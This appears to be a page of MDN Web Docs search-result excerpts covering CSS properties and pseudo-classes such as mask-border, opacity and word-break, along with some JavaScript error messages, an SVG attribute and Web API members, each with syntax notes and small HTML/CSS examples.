...d ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> | auto examples setting positive and negative top margins .content { margin-top: 5%; } .sidebox { margin-top: 10px; } .logo { margin-top: -5px; } #footer { margin-top: 1em; } specifications specification status comment css basic box modelthe definition of 'margin-top' in that specification.
...And 2 more matches
mask-border-outset - CSS: Cascading Style Sheets
syntax /* <length> value */ mask-border-outset: 1rem; /* <number> value */ mask-border-outset: 1.5; /* vertical | horizontal */ mask-border-outset: 1 1.2; /* top | horizontal | bottom */ mask-border-outset: 30px 2 45px; /* top | right | bottom | left */ mask-border-outset: 7px 12px 14px 5px; /* global values */ mask-border-outset: inherit; mask-border-outset: initial; mask-border-outset: unset; the mask-border-outset property may be specified as one, two, three, or four values.
...when it eventually starts to be supported, it will serve to move the mask away from the inner edge of the element's border box — you can use it to make the mask start from part way across the border, rather than the inside of it.
... mask-border-outset: 1rem; chromium-based browsers support an outdated version of this property — mask-box-image-outset — with a prefix: -webkit-mask-box-image-outset: 1rem; note: the mask-border page features a working example (using the out-of-date prefixed border mask properties supported in chromium), so you can get an idea of the effect.
...And 2 more matches
mask-border-repeat - CSS: Cascading Style Sheets
syntax /* keyword value */ mask-border-repeat: stretch; mask-border-repeat: repeat; mask-border-repeat: round; mask-border-repeat: space; /* vertical | horizontal */ mask-border-repeat: round stretch; /* global values */ mask-border-repeat: inherit; mask-border-repeat: initial; mask-border-repeat: unset; the mask-border-repeat property may be specified using one or two values chosen from the list of values below.
...will it just repeat, or be scaled slightly so a whole number of slices fits, or be stretched so one slice fits?
... mask-border-repeat: round; chromium-based browsers support an outdated version of this property — mask-box-image-repeat — with a prefix: -webkit-mask-box-image-repeat: round; note: the mask-border page features a working example (using the out-of-date prefixed border mask properties supported in chromium), so you can get an idea of the effect.
...And 2 more matches
mask-border-source - CSS: Cascading Style Sheets
the mask-border-slice property is used to divide the source image into regions, which are then dynamically applied to the final mask border.
...)<gradient> = <linear-gradient()> | <repeating-linear-gradient()> | <radial-gradient()> | <repeating-radial-gradient()> | <conic-gradient()>where <image-tags> = ltr | rtl<image-src> = <url> | <string><color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color><image-set-option> = [ <image> | <string> ] <resolution><id-selector> = <hash-token><cf-mixing-image> = <percentage>?
... mask-border-source: url(image.jpg); chromium-based browsers support an outdated version of this property — mask-box-image-source — with a prefix: -webkit-mask-box-image-source: url(image.jpg); note: the mask-border page features a working example (using the out-of-date prefixed border mask properties supported in chromium), so you can get an idea of the effect.
...And 2 more matches
mask-mode - CSS: Cascading Style Sheets
WebCSSmask-mode
values alpha this keyword indicates that the transparency (alpha channel) values of the mask layer image should be used as the mask values.
... luminance this keyword indicates that the luminance values of the mask layer image should be used as the mask values.
...element and all graphics elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <masking-mode>#where <masking-mode> = alpha | luminance | match-source examples using alpha mask mode css #masked { width: 227px; height: 200px; background: blue linear-gradient(red, blue); mask-image: url(https://mdn.mozillademos.org/files/12668/mdn.svg); mask-mode: alpha; /* can be changed in the live sample */ } html <div id="masked"> </div> <select id="maskmode"> <option value="alpha">alpha</option> <option value="luminance">luminance</option> <option value="match-source">match-source</option> </select> javascript var maskmode = document.getelementbyid("maskmode"); maskmode.addeventlistener("change", function (evt) { document.getelementbyid("masked").st...
...And 2 more matches
min-height - CSS: Cascading Style Sheets
auto the browser will calculate and select a min-height for the specified element.
... formal definition initial valueautoapplies toall elements but non-replaced inline elements, table columns, and column groupsinheritednopercentagesthe percentage is calculated with respect to the height of the generated box's containing block.
... if the height of the containing block is not specified explicitly (i.e., it depends on content height), and this element is not absolutely positioned, the percentage value is treated as 0.computed valuethe percentage as specified or the absolute lengthanimation typea length, percentage or calc(); formal syntax auto | <length> | <percentage> | min-content | max-content | fit-content(<length-percentage>)where <length-percentage> = <length> | <percentage> examples setting min-height table { min-height: 75%; } form { min-height: 0; } specifications specification status comment css box sizing module level 4the definition of 'min-height' in that specification.
...And 2 more matches
minmax() - CSS: Cascading Style Sheets
WebCSSminmax
each parameter can be a <length>, a <percentage>, a <flex> value, or one of the keyword values max-content, min-content, or auto.
... auto as a maximum, identical to max-content.
... formal syntax minmax( [ <length> | <percentage> | min-content | max-content | auto ] , [ <length> | <percentage> | <flex> | min-content | max-content | auto ] ) css properties minmax() function can be used within: grid-template-columns grid-template-rows grid-auto-columns grid-auto-rows examples css #container { display: grid; grid-template-columns: minmax(min-content, 300px) minmax(200px, 1fr) 150px; grid-gap: 5px; box-sizing: border-box; height: 200px; width: 100%; background-color: #8cffa0; padding: 10px; } #container > div { background-color: #8ca0ff; padding: 5px; } html <div id="container"> <div> item as wi...
...And 2 more matches
offset-anchor - CSS: Cascading Style Sheets
alues */ offset-anchor: 0 0; offset-anchor: 1cm 2cm; offset-anchor: 10ch 8em; /* edge offsets values */ offset-anchor: bottom 10px right 20px; offset-anchor: right 3em bottom 10px; /* global values */ offset-anchor: inherit; offset-anchor: initial; offset-anchor: unset; values auto offset-anchor is given the same value as the element's transform-origin, unless offset-path is none, in which case it takes its value from offset-position.
...it can be defined using one to four values.
... this allows you to see what effect the different offset-anchor values have — the first one, auto, causes the <div>'s center point to move along the path.
...And 2 more matches
opacity - CSS: Cascading Style Sheets
WebCSSopacity
any <number> strictly between 0 and 1 the element is translucent (that is, content behind the element can be seen).
...in order to meet current web content accessibility guidelines (wcag), a ratio of 4.5:1 is required for text content and 3:1 for larger text such as headings.
... webaim: color contrast checker mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.3 | w3c understanding wcag 2.0 formal definition initial value1.0applies toall elementsinheritednocomputed valuethe specified value, clipped in the range [0,1]animation typea number formal syntax <alpha-value>where <alpha-value> = <number> | <percentage> examples setting background opacity html <div class="light">you can barely see this.</div> <div class="medium">this is easier to see.</div> <div class="heavy">this is very easy to see.</div> css div { background-color: yellow; } .light { opacity: 0.2; /* barely see the text over the background */ } .medium { opacity: 0.5; /* see the t...
...And 2 more matches
order - CSS: Cascading Style Sheets
WebCSSorder
syntax /* <integer> values */ order: 5; order: -5; /* global values */ order: inherit; order: initial; order: unset; since order is only meant to affect the visual order of elements and not their logical or tab order.
... flexbox & the keyboard navigation disconnect — tink source order matters | adrian roselli mdn understanding wcag, guideline 1.3 explanations understanding success criterion 1.3.2 | w3c understanding wcag 2.0 formal definition initial value0applies toflex items and absolutely-positioned flex container childreninheritednocomputed valueas specifiedanimation typean integer formal syntax <integer> examples ordering items in a flex container this example uses css to create a classic two-sidebar layout s...
...the flexible box layout module automatically creates blocks of equal vertical size and uses as much horizontal space as available.
...And 2 more matches
outline-color - CSS: Cascading Style Sheets
in order to meet current web content accessibility guidelines (wcag), a ratio of 4.5:1 is required for text content and 3:1 for larger text such as headings.
... webaim: color contrast checker mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.3 | w3c understanding wcag 2.0 formal definition initial valueinvert, for browsers supporting it, currentcolor for the otherapplies toall elementsinheritednocomputed valuefor the keyword invert, the computed value is invert.
...the transparent keyword maps to rgba(0,0,0,0).animation typea color formal syntax <color> | invertwhere <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
...And 2 more matches
outline-width - CSS: Cascading Style Sheets
typically equivalent to 1px in desktop browsers (including firefox).
...typically equivalent to 3px in desktop browsers (including firefox).
...typically equivalent to 5px in desktop browsers (including firefox).
...And 2 more matches
outline - CSS: Cascading Style Sheets
WebCSSoutline
this is because the style defaults to none.
...if an element can be interacted with it must have a visible focus indicator.
... how to design useful and usable focus indicators wcag 2.1: understanding success criterion 2.4.7: focus visible formal definition initial valueas each of the properties of the shorthand:outline-color: invert, for browsers supporting it, currentcolor for the otheroutline-style: noneoutline-width: mediumapplies toall elementsinheritednocomputed valueas each of the properties of the shorthand:outline-color: for the keyword invert, the computed value is invert.
...And 2 more matches
overflow-wrap - CSS: Cascading Style Sheets
note: in contrast to word-break, overflow-wrap will only create a break if an entire word cannot be placed on its own line without overflowing.
... the property was originally a nonstandard and unprefixed microsoft extension called word-wrap, and was implemented by most browsers with the same name.
...soft wrap opportunities introduced by the word break are considered when calculating min-content intrinsic sizes.
...And 2 more matches
overscroll-behavior - CSS: Cascading Style Sheets
you may also have noticed that when you have a dialog box with scrolling content on top of a page of scrolling content, once the dialog box's scroll boundary is reached, the underlying page will then start to scroll — this is called scroll chaining.
... in some cases these behaviors are not desirable.
... you can use overscroll-behavior to get rid of unwanted scroll chaining and the browser's facebook/twitter app-inspired "pull to refresh"-type behavior.
...And 2 more matches
perspective - CSS: Cascading Style Sheets
syntax /* keyword value */ perspective: none; /* <length> values */ perspective: 20px; perspective: 3.5em; /* global values */ perspective: inherit; perspective: initial; perspective: unset; values none indicates that no perspective transform is to be applied.
... the vanishing point is by default placed at the center of the element, but its position can be changed using the perspective-origin property.
...also, in that case, the object will act as a containing block for position: fixed elements that it contains.
...And 2 more matches
right - CSS: Cascading Style Sheets
WebCSSright
if the element cannot stretch to satisfy both -- for example, if a width is declared -- the position of the element is over-constrained.
... when this is the case, the left value has precedence when the container is left-to-right; the right value has precedence when the container is right-to-left.
... formal definition initial valueautoapplies topositioned elementsinheritednopercentagesrefer to the width of the containing blockcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length, percentage or calc(); formal syntax <length> | <percentage> | auto examples absolute and relative positioning using right html <div id="relative">relatively positioned</div> <div id="absolute">absolutely positioned</div> css #relative { width: 100px; height: 100px; background-color: #ffc7e4; position: relative; top: 20px; left: 20px; } #absolute { width: 100px; height: 100px; background-color: #ffd7c2; position: absolute; bottom: 10px; right: 20px; } result dec...
...And 2 more matches
ruby-align - CSS: Cascading Style Sheets
/* keyword values */ ruby-align: start; ruby-align: center; ruby-align: space-between; ruby-align: space-around; /* global values */ ruby-align: inherit; ruby-align: initial; ruby-align: unset; syntax values start is a keyword indicating that the ruby will be aligned with the start of the base text.
... center is a keyword indicating that the ruby will be aligned at the middle of the base text.
... space-between is a keyword indicating that the extra space will be distributed between the elements of the ruby.
...And 2 more matches
ruby-position - CSS: Cascading Style Sheets
it can be position over the element (over), under it (under), or between the characters, on their right side (inter-character).
... /* keyword values */ ruby-position: over; ruby-position: under; ruby-position: inter-character; /* global values */ ruby-position: inherit; ruby-position: initial; ruby-position: unset; syntax values over is a keyword indicating that the ruby has to be placed over the main text for horizontal scripts and right to it for vertical scripts.
... under is a keyword indicating that the ruby has to be placed under the main text for horizontal scripts and left to it for vertical scripts.
...And 2 more matches
scroll-snap-type-y - CSS: Cascading Style Sheets
the scroll-snap-type-y css property defines how strictly snap points are enforced on the vertical axis of the scroll container in case there is one.
... /* keyword values */ scroll-snap-type-y: none; scroll-snap-type-y: mandatory; scroll-snap-type-y: proximity; /* global values */ scroll-snap-type-y: inherit; scroll-snap-type-y: initial; scroll-snap-type-y: unset; syntax values none when the visual viewport of this scroll container is scrolled vertically, it must ignore snap points.
... mandatory the visual viewport of this scroll container will rest on a snap point if it isn't currently scrolled vertically.
...And 2 more matches
text-overflow - CSS: Cascading Style Sheets
it can be clipped, display an ellipsis ('…'), or display a custom string.
...this keyword value will truncate the text at the limit of the content area, therefore the truncation can happen in the middle of a character.
... to clip at the transition between characters you can specify text-overflow as an empty string, if that is supported in your target browsers: text-overflow: '';.
...And 2 more matches
text-shadow - CSS: Cascading Style Sheets
it can be specified either before or after the offset values.
...<offset-y> specifies the vertical distance; a negative value places the shadow above the text.
...]where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
...And 2 more matches
text-underline-offset - CSS: Cascading Style Sheets
while an element can have multiple text-decoration lines, text-underline-offset only impacts underlining, and not other possible line decoration options such as overline or line-through.
...it is recommended to use em units so the offset scales with the font size.
...a percentage inherits as a relative value, and so therefore scales with changes in the font.
...And 2 more matches
rotate() - CSS: Cascading Style Sheets
this defaults to the center of the element, but you can set your own custom transform origin using the transform-origin property.
...a rotation by 180° is called point reflection.
... cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 cos(a)-sin(a) sin(a)cos(a) cos(a)-sin(a)0sin(a)cos(a)0001 cos(a)-sin(a)0sin(a)cos(a)0001 cos(a)-sin(a)00sin(a)cos(a)0000100001 [cos(a) sin(a) -sin(a) cos(a) 0 0] examples basic example html <div>normal</div> <div class="rotated">rotated</div> css div { width: 80px; height: 80px; background-color: skyblue; } .rotated { transform: rotate(45deg); /* equal to rotatez(45deg) */ background-color: pink; } result co...
...And 2 more matches
transform-origin - CSS: Cascading Style Sheets
if two or more values are defined and either no value is a keyword, or the only used keyword is center, then the first value represents the horizontal offset and the second represents the vertical offset.
...es: keyword value left 0% center 50% right 100% top 0% bottom 100% formal definition initial value50% 50% 0applies totransformable elementsinheritednopercentagesrefer to the size of bounding boxcomputed valuefor <length> the absolute value, otherwise a percentageanimation typesimple list of length, percentage, or calc formal syntax [ <length-percentage> | left | center | right | top | bottom ] | [ [ <length-percentage> | left | center | right ] && [ <length-percentage> | top | center | bottom ] ] <length>?where <length-percentage> = <length> | <percentage> examples code sample transform: none; <div class="box1">&nbsp;</div> .box1 { margin: 0.5em; width: ...
... transform: rotate(30deg); transform-origin: -1em -3em; <div class="box5">&nbsp;</div> .box5 { margin: 0.5em; width: 3em; height: 3em; border: solid 1px; background-color: palegreen; transform-origin: -1em -3em; -webkit-transform-origin: -1em -3em; transform: rotate(30deg); -webkit-transform: rotate(30deg); } transform: scale(1.7); <div class="box6">&nbsp;</div> .box6 { margin: 0.5em; width: 3em; height: 3em; border: solid 1px; background-color: palegreen; transform: scale(1.7); -webkit-transform: scale(1.7); } transform: scale(1.7); transform-origin: 0 0; <div class="box7">&nbsp;</div> .box7 { margin: 0.5em; width: 3em; height: 3em...
...And 2 more matches
unicode-bidi - CSS: Cascading Style Sheets
isolate this keyword indicates that the element's container directionality should be calculated without considering the content of this element.
... plaintext this keyword makes the elements directionality calculated without considering its parent bidirectional state or the value of the direction property.
... the directionality is calculated using the p2 and p3 rules of the unicode bidirectional algorithm.
...And 2 more matches
Used value - CSS: Cascading Style Sheets
the used value of a css property is its value after all calculations have been performed on the computed value.
... after the user agent has finished its calculations, every css property has a used value.
...omputedstyle(div)["width"]; par.textcontent = `used width: ${wid}.`; } function updateallusedwidths() { updateusedwidth("no-width"); updateusedwidth("width-50"); updateusedwidth("width-inherit"); } updateallusedwidths(); window.addeventlistener('resize', updateallusedwidths); result difference from computed value css 2.0 defined only computed value as the last step in a property's calculation.
...And 2 more matches
var() - CSS: Cascading Style Sheets
WebCSSvar
the var() css function can be used to insert the value of a custom property (sometimes called a "css variable") instead of any part of a value of another property.
... the var() function cannot be used in property names, selectors or anything else besides property values.
... <declaration-value> the custom property's fallback value, which is used in case the custom property is invalid in the used context.
...And 2 more matches
widows - CSS: Cascading Style Sheets
WebCSSwidows
(the paragraph is continued from a prior page.) syntax values <integer> the minimum number of lines that can stay by themselves at the top of a new fragment after a fragmentation break.
...it has a little bit more text than the first one.</p> </div> css div { background-color: #8cffa0; columns: 3; widows: 2; } p { background-color: #8ca0ff; } p:first-child { margin-top: 0; } result specifications specification status comment css fragmentation module level 3the definition of 'widows' in that specification.
... candidate recommendation extends widows to apply to any type of fragment, including pages, regions, or columns.
...And 2 more matches
word-break - CSS: Cascading Style Sheets
syntax /* keyword values */ word-break: normal; word-break: break-all; word-break: keep-all; word-break: break-word; /* deprecated */ /* global values */ word-break: inherit; word-break: initial; word-break: unset; the word-break property is specified as a single keyword chosen from the list of values below.
...<code>word-break: normal</code></p> <p class="normal narrow">this is a long and honorificabilitudinitatibus califragilisticexpialidocious taumatawhakatangihangakoauauotamateaturipukakapikimaungahoronukupokaiwhenuakitanatahu グレートブリテンおよび北アイルランド連合王国という言葉は本当に長い言葉</p> <p>2.
... <code>word-break: break-all</code></p> <p class="breakall narrow">this is a long and honorificabilitudinitatibus califragilisticexpialidocious taumatawhakatangihangakoauauotamateaturipukakapikimaungahoronukupokaiwhenuakitanatahu グレートブリテンおよび北アイルランド連合王国という言葉は本当に長い言葉</p> <p>3.
...And 2 more matches
ReferenceError: can't access lexical declaration`X' before initialization - JavaScript
the javascript exception "can't access lexical declaration `variable' before initialization" occurs when a lexical variable was accessed before it was initialized.
... message referenceerror: use before delaration (edge) referenceerror: can't access lexical declaration `x' before initialization (firefox) referenceerror: 'x' is not defined (chrome) error type referenceerror what went wrong?
... a lexical variable was accessed before it was initialized.
...And 2 more matches
SyntaxError: "0"-prefixed octal literals and octal escape seq. are deprecated - JavaScript
the javascript strict mode-only exception "0-prefixed octal literals and octal escape sequences are deprecated; for octal literals use the "0o" prefix instead" occurs when deprecated octal literals and octal escape sequences are used.
... message syntaxerror: octal numeric literals and escape characters not allowed in strict mode (edge) syntaxerror: "0"-prefixed octal literals and octal escape sequences are deprecated; for octal literals use the "0o" prefix instead error type syntaxerror in strict mode only.
... octal literals and octal escape sequences are deprecated and will throw a syntaxerror in strict mode.
...And 2 more matches
scale - SVG: Scalable Vector Graphics
WebSVGAttributescale
the scale attribute defines the displacement scale factor to be used on a <fedisplacementmap> filter primitive.
...only one element is using this attribute: <fedisplacementmap> html, body, svg { height: 100%; } <svg viewbox="0 0 480 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter" x="-20%" y="-20%" width="140%" height="140%"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="5"/> </filter> <filter id="displacementfilter2" x="-20%" y="-20%" width="140%" height="140%"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50"/> </filter> <circle cx="100" cy="100" r="80" style="filter: url(#displacementfilter);""/> <circle cx="100" cy="100" r="80" styl...
...e="filter: url(#displacementfilter2); transform: translatex(240px);""/> </svg> usage notes value <number> default value none animatable yes <number> this value defines the scale factor for the displacement.
...And 2 more matches
CanvasRenderingContext2D.canvas - Web APIs
the canvasrenderingcontext2d.canvas property, part of the canvas api, is a read-only reference to the htmlcanvaselement object that is associated with a given context.
... it might be null if there is no associated <canvas> element.
... syntax ctx.canvas; examples given this <canvas> element: <canvas id="canvas"></canvas> ...
... you can get a reference to the canvas element within the canvasrenderingcontext2d by using the canvas property: var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); ctx.canvas // htmlcanvaselement specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.canvas' in that specification.
NotificationEvent.NotificationEvent() - Web APIs
the notificationevent() constructor creates a new notificationevent object.
... syntax var mynotificationevent = new notificationevent(type, notificationeventinit); parameters type tbd notificationeventinit optional a dictionary object containing a notification object to be used as the notification the event is dispatched on.
... in later drafts of the specification, this parameter is not optional.
... example var n = new notification('hello'); var init = { notification: n }; var mynotificationevent = new notificationevent(type, init); specifications specification status comment notifications apithe definition of 'notificationevent() constructor' in that specification.
RTCIceCandidatePairStats.remoteCandidateId - Web APIs
the rtcicecandidatepairstats property remotecandidateid is a string that uniquely identifies the remote ice candidate which was analyzed to generate the rtcicecandidatestats used to compute the statistics for this pair of candidates.
... syntax remotecandidateid = rtcicecandidatepairstats.remotecandidateid; value a domstring uniquely identifies the remote ice candidate—that is, the candidate describing a configuration for the remote peer—which is represented by the remote end of these statistics.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.remotecandidateid' in that specification.
... candidate recommendation initial specification.
Window.applicationCache - Web APIs
important: application cache is deprecated as of firefox 44, and is no longer available in insecure contexts from firefox 60 onwards (bug 1354175, currently nightly/beta only).
... returns a reference to the application cache object for the window.
... syntax cache = window.applicationcache parameters cache is an object reference to an offlineresourcelist.
... specification html 5wd ...
-moz-outline-radius-bottomleft - CSS: Cascading Style Sheets
in mozilla applications, the -moz-outline-radius-bottomleft css property can be used to round the bottom-left corner of an element's outline.
...the calc() function may be used as well.
... formal definition initial value0applies toall elementsinheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valueas specifiedanimation typea length, percentage or calc(); formal syntax <outline-radius>where <outline-radius> = <length> | <percentage> examples rounding a outline since this is a firefox-only property, this example will not display the desired effect if you are viewing this in a browser other than firefox.
... html <p>look at this paragraph's bottom-left corner.</p> css p { margin: 10px; border: solid cyan; outline: dotted green; -moz-outline-radius-bottomleft: 2em; } result specifications not part of any standard.
-moz-outline-radius-bottomright - CSS: Cascading Style Sheets
in mozilla applications, the -moz-outline-radius-bottomright css property can be used to round the bottom-right corner of an element's outline.
...the calc() function may be used as well.
... formal definition initial value0applies toall elementsinheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valueas specifiedanimation typea length, percentage or calc(); formal syntax <outline-radius>where <outline-radius> = <length> | <percentage> examples html <p>look at this paragraph's bottom-right corner.</p> css p { margin: 5px; border: solid cyan; outline: dotted red; -moz-outline-radius-bottomright: 2em; } result the example above will not display the desired effect if you are viewing this in a browser other than firefox.
... specifications not part of any standard.
-moz-outline-radius-topleft - CSS: Cascading Style Sheets
in mozilla applications, the -moz-outline-radius-topleft css property can be used to round the top-left corner of an element's outline.
...the calc() function may be used as well.
... formal definition initial value0applies toall elementsinheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valueas specifiedanimation typea length, percentage or calc(); formal syntax <outline-radius>where <outline-radius> = <length> | <percentage> examples the example below will not display the desired effect if you are viewing this in a browser other than firefox.
... html <p>look at this paragraph's top-left corner.</p> css p { margin: 5px; border: solid cyan; outline: dotted red; -moz-outline-radius-topleft: 2em; } result specifications not part of any standard.
-moz-outline-radius-topright - CSS: Cascading Style Sheets
in mozilla applications, the -moz-outline-radius-topright css property can be used to round the top-right corner of an element's outline.
...the calc() function may be used as well.
... formal definition initial value0applies toall elementsinheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valueas specifiedanimation typea length, percentage or calc(); formal syntax <outline-radius>where <outline-radius> = <length> | <percentage> examples html <p>look at this paragraph's top-right corner.</p> css p { margin: 5px; border: solid cyan; outline: dotted red; -moz-outline-radius-topright: 2em; } result the example above will not display the desired effect if you are viewing this in a browser other than firefox.
... specifications not part of any standard.
-moz-outline-radius - CSS: Cascading Style Sheets
in mozilla applications like firefox, the -moz-outline-radius css shorthand property can be used to give an element's outline rounded corners.
...r values */ -moz-outline-radius: 25px 1em 12% 4mm; /* global values */ -moz-outline-radius: inherit; -moz-outline-radius: initial; -moz-outline-radius: unset; constituent properties this property is a shorthand for the following css properties: -moz-outline-radius-bottomleft -moz-outline-radius-bottomright -moz-outline-radius-topleft -moz-outline-radius-topright syntax values elliptical outlines and <percentage> values follow the syntax described in border-radius.
...mleft: refer to the corresponding dimension of the border boxcomputed valueas each of the properties of the shorthand:-moz-outline-radius-topleft: as specified-moz-outline-radius-topright: as specified-moz-outline-radius-bottomright: as specified-moz-outline-radius-bottomleft: as specifiedanimation typeas each of the properties of the shorthand:-moz-outline-radius-topleft: a length, percentage or calc();-moz-outline-radius-topright: a length, percentage or calc();-moz-outline-radius-bottomright: a length, percentage or calc();-moz-outline-radius-bottomleft: a length, percentage or calc(); formal syntax <outline-radius>{1,4} [ / <outline-radius>{1,4} ]?where <outline-radius> = <length> | <percentage> examples rounding an outline note: this example will not display the desired effect if y...
... specifications not part of any standard.
-moz-user-input - CSS: Cascading Style Sheets
in mozilla applications, -moz-user-input determines if an element will accept user input.
... note: -moz-user-input was one of the proposals leading to the proposed css 3 user-input property, which has not yet reached candidate recommendation (call for implementations).
... a similar property, user-focus, was proposed in early drafts of a predecessor of the css3 ui specification, but was rejected by the working group.
...*/ -moz-user-input: disabled; } specifications not part of any standard.
-webkit-box-reflect - CSS: Cascading Style Sheets
syntax values above, below, right, left are keywords indicating in which direction the reflection is to happen.
... <length> indicates the size of the reflection.
...)<gradient> = <linear-gradient()> | <repeating-linear-gradient()> | <radial-gradient()> | <repeating-radial-gradient()> | <conic-gradient()>where <image-tags> = ltr | rtl<image-src> = <url> | <string><color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color><image-set-option> = [ <image> | <string> ] <resolution><id-selector> = <hash-token><cf-mixing-image> = <percentage>?
...> = <number> | <angle><linear-color-stop> = <color> <color-stop-length>?<linear-color-hint> = <length-percentage><length-percentage> = <length> | <percentage><angular-color-stop> = <color> && <color-stop-angle>?<angular-color-hint> = <angle-percentage>where <color-stop-length> = <length-percentage>{1,2}<color-stop-angle> = <angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage> specifications not part of any standard.
-webkit-mask-position-y - CSS: Cascading Style Sheets
the -webkit-mask-position-y css property sets the initial vertical position of a mask image.
...kit-mask-position-y: 50px, 25%, -3em; /* global values */ -webkit-mask-position-y: inherit; -webkit-mask-position-y: initial; -webkit-mask-position-y: unset; initial value0%applies toall elementsinheritednopercentagesrefer to the size of the box itselfcomputed valuefor <length> the absolute value, otherwise a percentageanimation typediscrete syntax values <length-percentage> a length indicating the position of the top side of the image relative to the box's top padding edge.
... percentages are calculated against the vertical dimension of the box padding area.
... formal definition initial value0%applies toall elementsinheritednopercentagesrefer to the size of the box itselfcomputed valuefor <length> the absolute value, otherwise a percentageanimation typediscrete formal syntax [ <length-percentage> | top | center | bottom ]#where <length-percentage> = <length> | <percentage> examples vertically positioning a mask image .exampleone { -webkit-mask-image: url(mask.png); -webkit-mask-position-y: bottom; } .exampletwo { -webkit-mask-image: url(mask.png); -webkit-mask-position-y: 25%; } specifications not part of any standard.
:-moz-focusring - CSS: Cascading Style Sheets
the :-moz-focusring css pseudo-class is a mozilla extension that is similar to the :focus pseudo-class, but it only matches an element if it's currently focused and a focus ring or other indicator should be drawn around it.
...whether the user agent has focus ring drawing enabled can depend on operating system settings and other factors, so the precise behavior of this pseudo-class will vary from platform to platform.
... this feature is not defined in any specification yet, though it was discussed in the working group and it was decided to add it to selectors 4 or 5.
... syntax :-moz-focusring examples html <input /> css input { margin: 5px; } :-moz-focusring { color: red; outline: 2px dotted green; } result specifications not part of any standard.
:default - CSS: Cascading Style Sheets
WebCSS:default
multiple <select>s can have more than one selected option, so all will match :default.
...bel> <input type="radio" name="season" id="summer" checked> <label for="summer">summer</label> <input type="radio" name="season" id="fall"> <label for="fall">fall</label> <input type="radio" name="season" id="winter"> <label for="winter">winter</label> </fieldset> css input:default { box-shadow: 0 0 2px 1px coral; } input:default + label { color: coral; } result specifications specification status comment html living standardthe definition of ':default' in that specification.
... html5the definition of ':default' in that specification.
... selectors level 4the definition of ':default' in that specification.
:first - CSS: Cascading Style Sheets
WebCSS:first
(see :first-child for general first element of a node.) /* selects the first page when printing */ @page :first { margin-left: 50%; margin-top: 50%; } note: you can't change all css properties with this pseudo-class.
... you can only change the margins, orphans, widows, and page breaks of the document.
... specifications specification status comment css paged media module level 3the definition of ':first' in that specification.
... css level 2 (revision 1)the definition of ':first' in that specification.
:fullscreen - CSS: Cascading Style Sheets
syntax :fullscreen usage notes the :fullscreen pseudo-class lets you configure your stylesheets to automatically adjust the size, style, or layout of content when elements switch back and forth between full-screen and traditional presentations.
...this is done without needing to specifically apply style changes using javascript.
... html the page's html looks like this: <h1>mdn web docs demo: :fullscreen pseudo-class</h1> <p>this demo uses the <code>:fullscreen</code> pseudo-class to automatically change the style of a button used to toggle full-screen mode on and off, entirely using css.</p> <button id="fs-toggle">toggle fullscreen</button> the <button> with the id "fs-toggle" will change between pale red and pale green depending on whether or not the document is in full-screen mode.
... #fs-toggle:fullscreen { background-color: #faa; } specifications specification status comment fullscreen apithe definition of ':fullscreen' in that specification.
:read-only - CSS: Cascading Style Sheets
input:-moz-read-only, textarea:-moz-read-only, input:read-only, textarea:read-only { border: 0; box-shadow: none; background-color: white; } textarea:-moz-read-write, textarea:read-write { box-shadow: inset 1px 1px 3px #ccc; border-radius: 5px; } you can find the full source code at readonly-confirmation.html; this renders like so: styling read-only non-form controls this selector doesn't just select <input>/<textarea> elements — it will select any element that cannot be edited by the user.
... <p contenteditable>this paragraph is editable; it is read-write.</p> <p>this paragraph is not editable; it is read-only.</p> p { font-size: 150%; padding: 5px; border-radius: 5px; } p:read-only { background-color: red; color: white; } p:read-write { background-color: lime; } specifications specification status comment html living standardthe definition of ':read-only' in that specification.
... html5the definition of ':read-only' in that specification.
... selectors level 4the definition of ':read-only' in that specification.
:read-write - CSS: Cascading Style Sheets
input:-moz-read-only, textarea:-moz-read-only, input:read-only, textarea:read-only { border: 0; box-shadow: none; background-color: white; } textarea:-moz-read-write, textarea:read-write { box-shadow: inset 1px 1px 3px #ccc; border-radius: 5px; } you can find the full source code at readonly-confirmation.html; this renders like so: styling read-write non-form controls this selector doesn't just select <input>/<textarea> elements — it will select any element that can be edited by the user, such as a <p> element with contenteditable set on it.
... <p contenteditable>this paragraph is editable; it is read-write.</p> <p>this paragraph is not editable; it is read-only.</p> p { font-size: 150%; padding: 5px; border-radius: 5px; } p:read-only { background-color: red; color: white; } p:read-write { background-color: lime; } specifications specification status comment html living standardthe definition of ':read-write' in that specification.
... html5the definition of ':read-write' in that specification.
... selectors level 4the definition of ':read-write' in that specification.
:scope - CSS: Cascading Style Sheets
WebCSS:scope
when used from a dom api such as queryselector(), queryselectorall(), matches(), or element.closest(), :scope matches the element on which the method was called.
... syntax :scope examples identity match in this simple example, we demonstrate that using the :scope pseudo-class from the element.matches() method matches the element on which it's called.
